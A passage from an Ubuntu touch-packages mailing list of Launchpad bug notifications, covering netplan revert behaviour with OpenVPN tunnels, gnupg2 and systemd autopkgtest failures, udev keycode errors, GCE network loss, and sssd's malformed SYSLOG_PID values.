  500 http://us.archive.ubuntu.com/ubuntu bionic/main amd64 Packages

  I expected the OpenVPN IP addresses to remain, instead they were
  removed, the physical NIC address remained, process:

  Start OpenVPN with systemctl start openvpn@ (in this
  situation, two instances).  Result:

  root@third:/etc/openvpn# ip addr sh tun0
  7: tun0:  mtu 1500 qdisc fq_codel 
state UNKNOWN group default qlen 100
  link/none 
  inet 10.57.3.1 peer 10.57.3.2/32 scope global tun0
 valid_lft forever preferred_lft forever
  inet6 fe80::f0ea:151b:cb91:5d1b/64 scope link stable-privacy 
 valid_lft forever preferred_lft forever
  root@third:/etc/openvpn# ip addr sh tun1
  8: tun1:  mtu 1500 qdisc fq_codel 
state UNKNOWN group default qlen 100
  link/none 
  inet 10.222.108.234 peer 10.222.108.233/32 scope global tun1
 valid_lft forever preferred_lft forever
  inet6 fe80::3103:7936:cf19:6237/64 scope link stable-privacy 
 valid_lft forever preferred_lft forever

  Test a configuration (which, incidentally, isn't valid for this
  system) with 'netplan try ..' and allow it to revert (which should
  have restored the previous configuration), see below:

  root@third:/etc/openvpn# cd ~leroy/Downloads
  root@third:/home/leroy/Downloads# ll *.yaml
  -rw-rw-r-- 1 leroy leroy 555 May 29 10:46 startup.yaml
  root@third:/home/leroy/Downloads# netplan --debug try --config-file 
~leroy/Downloads/startup.yaml --timeout 15
  DEBUG:eno1 not found in {}
  DEBUG:Merged config:
  network:
bonds: {}
bridges: {}
ethernets:
  eno1:
addresses:
- 10.15.0.37/24
dhcp4: false
gateway4: 10.15.0.1
nameservers:
  addresses:
  - 10.15.0.8
  - 10.3.77.11
  - 10.45.77.11
  - 8.8.8.8
vlans: {}
wifis: {}

  DEBUG:New interfaces: {'eno1'}
  ** (generate:8216): DEBUG: 11:19:39.770: Processing input file 
/etc/netplan/01-network-manager-all.yaml..
  ** (generate:8216): DEBUG: 11:19:39.771: starting new processing pass
  ** (generate:8216): DEBUG: 11:19:39.771: Processing input file 
/etc/netplan/startup.1559146779.768221.yaml..
  ** (generate:8216): DEBUG: 11:19:39.771: starting new processing pass
  ** (generate:8216): DEBUG: 11:19:39.771: eno1: setting default backend to 2
  ** (generate:8216): DEBUG: 11:19:39.771: Generating output files..
  ** (generate:8216): DEBUG: 11:19:39.771: networkd: definition eno1 is not for 
us (backend 2)
  DEBUG:no netplan generated networkd configuration exists
  DEBUG:netplan generated NM configuration exists, restarting NM
  DEBUG:eno1 not found in {}
  DEBUG:Merged config:
  network:
bonds: {}
bridges: {}
ethernets:
  eno1:
addresses:
- 10.15.0.37/24
dhcp4: false
gateway4: 10.15.0.1
nameservers:
  addresses:
  - 10.15.0.8
  - 10.3.77.11
  - 10.45.77.11
  - 8.8.8.8
vlans: {}
wifis: {}

  DEBUG:Skipping non-physical interface: lo
  DEBUG:Skipping non-physical interface: enp2s0
  DEBUG:Skipping non-physical interface: virbr0
  DEBUG:Skipping non-physical interface: virbr0-nic
  DEBUG:Skipping non-physical interface: tun0
  DEBUG:Skipping non-physical interface: tun1
  DEBUG:{}
  DEBUG:netplan triggering .link rules for lo
  DEBUG:netplan triggering .link rules for enp2s0
  DEBUG:netplan triggering .link rules for virbr0
  DEBUG:netplan triggering .link rules for virbr0-nic
  DEBUG:netplan triggering .link rules for tun0
  DEBUG:netplan triggering .link rules for tun1
  Do you want to keep these settings?

  
  Press ENTER before the timeout to accept the new configuration

  
  Changes will revert in  1 seconds
  Reverting.
  DEBUG:no netplan generated networkd configuration exists
  DEBUG:netplan generated NM configuration exists, restarting NM
  DEBUG:Merged config:
  network:
bonds: {}
bridges: {}
ethernets: {}
vlans: {}
wifis: {}

  DEBUG:Skipping non-physical 

[Touch-packages] [Bug 1825186] Re: gpgv-win32 autopkgtest always fails

[Dan Streetman]

** Changed in: gnupg2 (Ubuntu Bionic)
 Assignee: (unassigned) => Heitor Alves de Siqueira (halves)

** Changed in: gnupg2 (Ubuntu Bionic)
   Status: New => In Progress

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to gnupg in Ubuntu.
https://bugs.launchpad.net/bugs/1825186

Title:
  gpgv-win32 autopkgtest always fails

Status in gnupg package in Ubuntu:
  Invalid
Status in gnupg2 package in Ubuntu:
  Opinion
Status in gnupg source package in Xenial:
  Won't Fix
Status in gnupg2 source package in Bionic:
  In Progress
Status in gnupg2 source package in Cosmic:
  Won't Fix
Status in gnupg2 source package in Disco:
  Fix Released

Bug description:
  [impact]

  gpgv-win32 autopkgtest always fails

  [test case]

  check http://autopkgtest.ubuntu.com/packages/g/gnupg2

  or run autopkgtest manually

  note the gpgv-win32 test is skipped on ppc64el and s390x for b/c, and
  has been removed from d/t/control entirely in d

  [regression potential]

  little to none; this affects the test case only

  [other info]

  as mentioned, in disco, the gpgv-win32 test has been removed from the
  tests/control completely.  not sure if that is a better approach than
  fixing the test case.  For now, I marked this Fix Released for disco
  since it doesn't fail there (since the testcase was removed).

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/gnupg/+bug/1825186/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1913189] Re: systemd 245.4-4ubuntu3.4 ADT test failure with linux-hwe-5.8 5.8.0-41.46~20.04.1

[Dan Streetman]

** Description changed:

  [impact]
  
  test-fs-util fails when running under 5.8 kernel
  
  [test case]
  
  see autopkgtest runs, e.g.
  
  amd64:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac
  /autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz
  
  [regression potential]
  
  any regression would likely result in incorrectly passed or failed
  build-time or autopkgtest-time test run
  
  [scope]
  
- this is needed in f
+ this is needed in f and b
  
  this was fixed upstream with commit 5b5ce6298e which was first included
  in v247, and has already been backported to g in bug 1891527.
+ 
+ while it's unlikely that the 5.8 kernel will ever officially be
+ available directly in b, this test case is also run at build time, so if
+ the lp build farm is ever updated to the 5.8 kernel this test case would
+ begin failing during build, so the patch should be backported there as
+ well.
+ 
+ this isn't needed in x as the test-fs-util test isn't present there.
  
  [original description]
  
  Testing failed on:
  amd64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz
  arm64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20210121_021134_f3c65@/log.gz
  s390x: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/s390x/s/systemd/20210121_090718_fa164@/log.gz
  
  The failing test case is:
  
  TEST-24-UNIT-TESTS:
  
  === Failed test log ===
  --- test-fs-util begin ---
  /* test_chase_symlinks */
  /* test_unlink_noerrno */
  /* test_readlink_and_make_absolute */
  /* test_var_tmp */
  /* test_dot_or_dot_dot */
  /* test_access_fd */
  /* test_touch_file */
  Assertion 'mknod(a, 0775 | S_IFBLK, makedev(0, 0)) >= 0' failed at 
src/test/test-fs-util.c:637, funct
  ion test_touch_file(). Aborting.
  --- test-fs-util end ---
  make: Leaving directory 
'/tmp/autopkgtest.KFUfZH/build.scn/src/test/TEST-24-UNIT-TESTS'
  make: *** [Makefile:4: run] Error 1
  
  This issue has been solved in Groovy on bug 1891527, likely the fix
  needs to be backported to systemd in Focal for the testcase to pass with
  the 5.8 kernel.

** Also affects: systemd (Ubuntu Bionic)
   Importance: Undecided
   Status: New

** Changed in: systemd (Ubuntu Bionic)
   Status: New => In Progress

** Changed in: systemd (Ubuntu Focal)
   Status: Confirmed => In Progress

** Changed in: systemd (Ubuntu Bionic)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Focal)
   Importance: Undecided => Medium

** Changed in: systemd (Ubuntu Focal)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

** Changed in: systemd (Ubuntu Bionic)
 Assignee: (unassigned) => Dan Streetman (ddstreet)

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1913189

Title:
  systemd 245.4-4ubuntu3.4 ADT test failure with linux-hwe-5.8
  5.8.0-41.46~20.04.1

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Bionic:
  In Progress
Status in systemd source package in Focal:
  In Progress

Bug description:
  [impact]

  test-fs-util fails when running under 5.8 kernel

  [test case]

  see autopkgtest runs, e.g.

  amd64:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac
  /autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz

  [regression potential]

  any regression would likely result in incorrectly passed or failed
  build-time or autopkgtest-time test run

  [scope]

  this is needed in f and b

  this was fixed upstream with commit 5b5ce6298e which was first
  included in v247, and has already been backported to g in bug 1891527.

  while it's unlikely that the 5.8 kernel will ever officially be
  available directly in b, this test case is also run at build time, so
  if the lp build farm is ever updated to the 5.8 kernel this test case
  would begin failing during build, so the patch should be backported
  there as well.

  this isn't needed in x as the test-fs-util test isn't present there.

  [original description]

  Testing failed on:
  amd64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz
  arm64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20210121_021134_f3c65@/log.gz
  s390x: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/s390x/s/systemd/20210121

[Touch-packages] [Bug 1913189] Re: systemd 245.4-4ubuntu3.4 ADT test failure with linux-hwe-5.8 5.8.0-41.46~20.04.1

[Dan Streetman]

** Description changed:

+ [impact]
+ 
+ test-fs-util fails when running under 5.8 kernel
+ 
+ [test case]
+ 
+ see autopkgtest runs, e.g.
+ 
+ amd64:
+ 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac
+ /autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz
+ 
+ [regression potential]
+ 
+ any regression would likely result in incorrectly passed or failed
+ build-time or autopkgtest-time test run
+ 
+ [scope]
+ 
+ this is needed in f
+ 
+ this was fixed upstream with commit 5b5ce6298e which was first included
+ in v247, and has already been backported to g in bug 1891527.
+ 
+ [original description]
+ 
  Testing failed on:
  amd64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz
  arm64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20210121_021134_f3c65@/log.gz
  s390x: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/s390x/s/systemd/20210121_090718_fa164@/log.gz
  
  The failing test case is:
  
  TEST-24-UNIT-TESTS:
  
  === Failed test log ===
  --- test-fs-util begin ---
  /* test_chase_symlinks */
  /* test_unlink_noerrno */
  /* test_readlink_and_make_absolute */
  /* test_var_tmp */
  /* test_dot_or_dot_dot */
  /* test_access_fd */
  /* test_touch_file */
  Assertion 'mknod(a, 0775 | S_IFBLK, makedev(0, 0)) >= 0' failed at 
src/test/test-fs-util.c:637, funct
  ion test_touch_file(). Aborting.
  --- test-fs-util end ---
  make: Leaving directory 
'/tmp/autopkgtest.KFUfZH/build.scn/src/test/TEST-24-UNIT-TESTS'
  make: *** [Makefile:4: run] Error 1
  
- 
- This issue has been solved in Groovy on bug 1891527, likely the fix needs to 
be backported to systemd in Focal for the testcase to pass with the 5.8 kernel.
+ This issue has been solved in Groovy on bug 1891527, likely the fix
+ needs to be backported to systemd in Focal for the testcase to pass with
+ the 5.8 kernel.

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1913189

Title:
  systemd 245.4-4ubuntu3.4 ADT test failure with linux-hwe-5.8
  5.8.0-41.46~20.04.1

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Confirmed

Bug description:
  [impact]

  test-fs-util fails when running under 5.8 kernel

  [test case]

  see autopkgtest runs, e.g.

  amd64:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac
  /autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz

  [regression potential]

  any regression would likely result in incorrectly passed or failed
  build-time or autopkgtest-time test run

  [scope]

  this is needed in f

  this was fixed upstream with commit 5b5ce6298e which was first
  included in v247, and has already been backported to g in bug 1891527.

  [original description]

  Testing failed on:
  amd64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz
  arm64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20210121_021134_f3c65@/log.gz
  s390x: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/s390x/s/systemd/20210121_090718_fa164@/log.gz

  The failing test case is:

  TEST-24-UNIT-TESTS:

  === Failed test log ===
  --- test-fs-util begin ---
  /* test_chase_symlinks */
  /* test_unlink_noerrno */
  /* test_readlink_and_make_absolute */
  /* test_var_tmp */
  /* test_dot_or_dot_dot */
  /* test_access_fd */
  /* test_touch_file */
  Assertion 'mknod(a, 0775 | S_IFBLK, makedev(0, 0)) >= 0' failed at 
src/test/test-fs-util.c:637, funct
  ion test_touch_file(). Aborting.
  --- test-fs-util end ---
  make: Leaving directory 
'/tmp/autopkgtest.KFUfZH/build.scn/src/test/TEST-24-UNIT-TESTS'
  make: *** [Makefile:4: run] Error 1

  This issue has been solved in Groovy on bug 1891527, likely the fix
  needs to be backported to systemd in Focal for the testcase to pass
  with the 5.8 kernel.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1913189/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1913189] Re: systemd 245.4-4ubuntu3.4 ADT test failure with linux-hwe-5.8 5.8.0-41.46~20.04.1

[Dan Streetman]

** Bug watch added: github.com/systemd/systemd/issues #16721
   https://github.com/systemd/systemd/issues/16721

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/16721
   Importance: Unknown
   Status: Unknown

** Changed in: systemd (Ubuntu)
   Status: New => Fix Released

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1913189

Title:
  systemd 245.4-4ubuntu3.4 ADT test failure with linux-hwe-5.8
  5.8.0-41.46~20.04.1

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  Fix Released
Status in systemd source package in Focal:
  Confirmed

Bug description:
  [impact]

  test-fs-util fails when running under 5.8 kernel

  [test case]

  see autopkgtest runs, e.g.

  amd64:
  
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac
  /autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz

  [regression potential]

  any regression would likely result in incorrectly passed or failed
  build-time or autopkgtest-time test run

  [scope]

  this is needed in f

  this was fixed upstream with commit 5b5ce6298e which was first
  included in v247, and has already been backported to g in bug 1891527.

  [original description]

  Testing failed on:
  amd64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/amd64/s/systemd/20210121_140925_39a30@/log.gz
  arm64: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/arm64/s/systemd/20210121_021134_f3c65@/log.gz
  s390x: 
https://objectstorage.prodstack4-5.canonical.com/v1/AUTH_77e2ada1e7a84929a74ba3b87153c0ac/autopkgtest-focal/focal/s390x/s/systemd/20210121_090718_fa164@/log.gz

  The failing test case is:

  TEST-24-UNIT-TESTS:

  === Failed test log ===
  --- test-fs-util begin ---
  /* test_chase_symlinks */
  /* test_unlink_noerrno */
  /* test_readlink_and_make_absolute */
  /* test_var_tmp */
  /* test_dot_or_dot_dot */
  /* test_access_fd */
  /* test_touch_file */
  Assertion 'mknod(a, 0775 | S_IFBLK, makedev(0, 0)) >= 0' failed at 
src/test/test-fs-util.c:637, funct
  ion test_touch_file(). Aborting.
  --- test-fs-util end ---
  make: Leaving directory 
'/tmp/autopkgtest.KFUfZH/build.scn/src/test/TEST-24-UNIT-TESTS'
  make: *** [Makefile:4: run] Error 1

  This issue has been solved in Groovy on bug 1891527, likely the fix
  needs to be backported to systemd in Focal for the testcase to pass
  with the 5.8 kernel.

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1913189/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1890186] Re: Failed to call EVIOCSKEYCODE with scan code 0xc022d, and key code 103: Invalid argument

[Dan Streetman]

> Do you really mean it's broken?

by "broken", what I mean is it was designed with two separate HID-type
usb interfaces with identical identification
(vendor/product/model/revision ids) but with different operation.

> Is any combination of the sliding key with any modifier key(s)
> (such as Ctrl, Alt, or Shift) supposed to zoom in/out say,
> in the Firefox Web browser

Assuming the keys in question work already (and based on your comment 15
I thought they already did), any modification to what they keys actually
do should be done by your window manager and/or X configuration.

Additionally, I don't know what exactly you mean by "zoom" in/out; if
you mean accessibility zooming you should read
https://help.ubuntu.com/stable/ubuntu-help/a11y-mag.html.en

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1890186

Title:
  Failed to call EVIOCSKEYCODE with scan code 0xc022d, and key code 103:
  Invalid argument

Status in linux package in Ubuntu:
  Invalid
Status in systemd package in Ubuntu:
  Won't Fix

Bug description:
  I run an up-to-date Ubuntu 20.04.1 LTS "focal" with kernel
  5.4.0-42-generic on Dell Latitude E6440.  Upon examining the output of
  journalctl -b, I see this:

  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Show Plymouth Boot Screen being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Forward Password Requests to Plymouth Directory Watch being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Set Up Additional Binary Formats being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
File System Check on Root Device being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Rebuild Hardware Database being skipped.
  Aug 03 19:22:15 pseudonymizedHostname systemd[1]: Condition check resulted in 
Platform Persistent Storage Archival being skipped.
  Aug 03 19:22:15 pseudonymizedHostname kernel: [drm] radeon: dpm initialized
  Aug 03 19:22:15 pseudonymizedHostname kernel: [drm] GART: num cpu pages 
524288, num gpu pages 524288
  Aug 03 19:22:15 pseudonymizedHostname kernel: dell_laptop: Using dell-rbtn 
acpi driver for receiving events
  Aug 03 19:22:15 pseudonymizedHostname systemd-udevd[385]: event8: Failed to 
call EVIOCSKEYCODE with scan code 0xc022d, and key code 103: Invalid argument
  Aug 03 19:22:15 pseudonymizedHostname systemd-udevd[385]: event8: Failed to 
call EVIOCSKEYCODE with scan code 0xc022e, and key code 108: Invalid argument

  "Invalid argument" means that something goes wrong there, and I don't know 
what it is.
  On my laptop, event8 seems to be keyboard-related:

  $ sudo cat /proc/bus/input/devices | grep -C 5 event8
  I: Bus=0003 Vendor=045e Product=00db Version=0111
  N: Name="Microsoft Natural® Ergonomic Keyboard 4000"
  P: Phys=usb-:00:14.0-13.1/input0
  S: 
Sysfs=/devices/pci:00/:00:14.0/usb3/3-13/3-13.1/3-13.1:1.0/0003:045E:00DB.0002/input/input9
  U: Uniq=
  H: Handlers=sysrq kbd event8 leds 
  B: PROP=0
  B: EV=120013
  B: KEY=10007 ff8007ff febeffdff3cf fffe
  B: MSC=10
  B: LED=107

  The issue report
  https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1754921 is
  probably related but marked as a duplicate of a no longer existing
  issue report (#1750855).

  The report
  https://bugs.launchpad.net/ubuntu/+source/systemd/+bug/1597415
  describes a similar issue for older kernels; the differences pertain
  to error message, error code, input..., and, opposed to #19 there, I
  have no Windows partitions (except /boot/efi vfat) in /etc/fstab; mine
  is not a dual-boot machine.

To manage notifications about this bug go to:
https://bugs.launchpad.net/ubuntu/+source/linux/+bug/1890186/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1911059] Re: gce: 247.1-4ubuntu1 causes loss of networking

[Dan Streetman]

** Bug watch added: github.com/systemd/systemd/issues #17803
   https://github.com/systemd/systemd/issues/17803

** Also affects: systemd via
   https://github.com/systemd/systemd/issues/17803
   Importance: Unknown
   Status: Unknown

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1911059

Title:
  gce: 247.1-4ubuntu1 causes loss of networking

Status in systemd:
  Unknown
Status in systemd package in Ubuntu:
  New

Bug description:
  Summary
  ===
  On Hirsute, upgrading or using to systemd 247.1-4ubuntu1 causes Google Cloud 
instance to loose network access.

  Expected Result
  ===
  Working network access

  Actual Result
  ===
  After upgrade, network access is lost and serial console is filled with 
messages about IPv4 martian source and ll header, see below.

  Steps to Reproduce
  ===
  1. Launch `daily-ubuntu-2104-hirsute-v20210107` the last known good image
  2. sudo apt update
  3. sudo apt install systemd
  4. ssh is lost

  The images, built with this version do not appear to be able to start
  networking.

  Logs
  ===
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  483.915720] IPv4: 
martian source 10.138.0.56 from 169.254.169.254, on dev ens4
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  483.915724] ll header: 
: 42 01 0a 8a 00 38 42 01 0a 8a 00 01 08 00
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  483.978762] IPv4: 
martian source 10.138.0.56 from 169.254.169.254, on dev ens4
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  483.978803] ll header: 
: 42 01 0a 8a 00 38 42 01 0a 8a 00 01 08 00
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  484.042242] IPv4: 
martian source 10.138.0.56 from 169.254.169.254, on dev ens4
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  484.042302] ll header: 
: 42 01 0a 8a 00 38 42 01 0a 8a 00 01 08 00
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  484.105412] IPv4: 
martian source 10.138.0.56 from 169.254.169.254, on dev ens4
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  484.105448] ll header: 
: 42 01 0a 8a 00 38 42 01 0a 8a 00 01 08 00
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  484.168141] IPv4: 
martian source 10.138.0.56 from 169.254.169.254, on dev ens4
  Jan 11 21:38:32 powersj-hirsuite-20210107 kernel: [  484.168178] ll header: 
: 42 01 0a 8a 00 38 42 01 0a 8a 00 01 08 00

  $ journalctl --no-pager -u systemd-net
  -- Journal begins at Mon 2021-01-11 21:30:31 UTC, ends at Mon 2021-01-11 
21:52:03 UTC. --
  Jan 11 21:30:35 ubuntu systemd[1]: Starting Network Service...
  Jan 11 21:30:35 ubuntu systemd-networkd[413]: Enumeration completed
  Jan 11 21:30:35 ubuntu systemd-networkd[413]: ens4: Interface name change 
detected, ens4 has been renamed to eth0.
  Jan 11 21:30:35 ubuntu systemd[1]: Started Network Service.
  Jan 11 21:30:35 ubuntu systemd-networkd[413]: eth0: Interface name change 
detected, eth0 has been renamed to ens4.
  Jan 11 21:30:35 ubuntu systemd-networkd[413]: ens4: IPv6 successfully enabled
  Jan 11 21:30:35 ubuntu systemd-networkd[413]: ens4: Link UP
  Jan 11 21:30:35 ubuntu systemd-networkd[413]: ens4: Gained carrier
  Jan 11 21:30:35 ubuntu systemd-networkd[413]: ens4: DHCPv4 address 
10.138.0.56/32 via 10.138.0.1
  Jan 11 21:30:35 ubuntu systemd-networkd[413]: ens4: Classless static routes 
received from DHCP server: ignoring router option
  Jan 11 21:30:37 ubuntu systemd-networkd[413]: ens4: Gained IPv6LL
  Jan 11 21:37:27 powersj-hirsuite-20210107 systemd-networkd[413]: ens4: DHCPv6 
lease lost
  Jan 11 21:37:27 powersj-hirsuite-20210107 systemd[1]: Stopping Network 
Service...
  Jan 11 21:37:27 powersj-hirsuite-20210107 systemd[1]: 
systemd-networkd.service: Succeeded.
  Jan 11 21:37:27 powersj-hirsuite-20210107 systemd[1]: Stopped Network Service.
  Jan 11 21:37:27 powersj-hirsuite-20210107 systemd[1]: Starting Network 
Service...
  Jan 11 21:37:27 powersj-hirsuite-20210107 systemd-networkd[2446]: ens4: 
Gained IPv6LL
  Jan 11 21:37:27 powersj-hirsuite-20210107 systemd-networkd[2446]: Enumeration 
completed
  Jan 11 21:37:27 powersj-hirsuite-20210107 systemd[1]: Started Network Service.
  Jan 11 21:37:27 powersj-hirsuite-20210107 systemd-networkd[2446]: ens4: 
DHCPv4 address 10.138.0.56/32 via 10.138.0.1

To manage notifications about this bug go to:
https://bugs.launchpad.net/systemd/+bug/1911059/+subscriptions

-- 
Mailing list: https://launchpad.net/~touch-packages
Post to : touch-packages@lists.launchpad.net
Unsubscribe : https://launchpad.net/~touch-packages
More help   : https://help.launchpad.net/ListHelp

[Touch-packages] [Bug 1908065] Re: Invalid SYSLOG_PID for (systemd) journal messages

[Dan Streetman]

sssd is setting SYSLOG_IDENTIFIER to the debug_prg_name internal var, which is 
set via calls to server_setup(), and in focal (and probably earlier) that's set 
to a name like "sssd[sudo]". However the syslog MSG section TAG field format 
requires only alphanumeric characters:
https://tools.ietf.org/html/rfc3164#section-4.1.3

therefore, providing an identifier of "sssd[sudo]" results in the TAG field 
(indicating the process name) to be "sssd" and "[sudo]" is the start of the 
CONTENT field. The convention specified in the RFC states that if the CONTENT 
field starts with "[PID]:" the value contained inside the brackets may be 
considered the PID, which is exactly what systemd-journald is doing.
https://tools.ietf.org/html/rfc3164#section-5.3

So, when SYSLOG_IDENTIFIER is set to "sssd[sudo]" that results in a
syslog message TAG section that's parsed as having program name 'sssd'
and pid 'sudo'.

This is fixed upstream in sssd with commit
00e7b1ada3d1c1071eac79b65c17cd2701c2ae6a, included in groovy and later.


** Changed in: systemd (Ubuntu)
   Status: New => Invalid

-- 
You received this bug notification because you are a member of Ubuntu
Touch seeded packages, which is subscribed to systemd in Ubuntu.
https://bugs.launchpad.net/bugs/1908065

Title:
  Invalid SYSLOG_PID for (systemd) journal messages

Status in sssd package in Ubuntu:
  Triaged
Status in systemd package in Ubuntu:
  Invalid

Bug description:
  [Impact]

   * On Ubuntu (Focal) 20.04, SSSD 2.2.3-3, logs in Journald have
  invalid (non-numeric) SYSLOG_PID. Any tooling collecting SYSLOG_PID
  further, or attempting to work with syslog directly, fail to parse the
  PID as number.

   * Systemd does not validate, and simply expects SYSLOG_PID as numeric 
integers formatted as decimal strings:
     
https://www.freedesktop.org/software/systemd/man/systemd.journal-fields.html#SYSLOG_FACILITY=

  [Test Case]

   * Deploy fresh 20.04 image, and update:
     apt update && apt dist-upgrade

   * apt -qqy install sssd

   * cat << EOF > /etc/sssd/sssd.conf
  [sssd]
    config_file_version = 2
    domains = EXAMPLE.COM
    services =

  [nss]

  [pam]

  [sudo]

  [domain/EXAMPLE.COM]
    id_provider = files
    access_provider = permit
  EOF

   * chmod 600 /etc/sssd/sssd.conf

   * systemctl restart sssd.service

   * journalctl -o verbose -u sssd-sudo.service | grep SYSLOG_PID=
     SYSLOG_PID=sudo

   * journalctl -u sssd.service # Produces malformed example lines:
     Dec 07 14:10:00 servername sssd[be[1234]: Starting up

   * grep sssd /var/log/syslog # Displays non-numeric PIDs:
     Dec  7 08:00:00 servername sssd[be[EXAMPLE.COM]]: Starting up
     Dec  7 08:00:00 servername sssd[nss]: Starting up
     Dec  7 08:00:00 servername sssd[sudo]: Starting up
     Dec  7 08:00:00 servername sssd[pam]: Starting up

  [Where problems could occur]

   * Someone might depend on the malformed output already, and have
  tooling in place to transform it manually.

  [Other Info]

   * Is not reproducible on Ubuntu (Groovy) 20.10 containing SSSD
  2.3.1-3. Considering Debian testing is currently at SSSD 2.4.0-1, it
  does not appear applicable to fix in upstream.

   * The package itself does not appear to provide any SYSLOG_PID. The
  SYSLOG_IDENTIFIER appears to instead 'leak' over into PID, hinting at
  trouble on systemd side. SSSD source at:
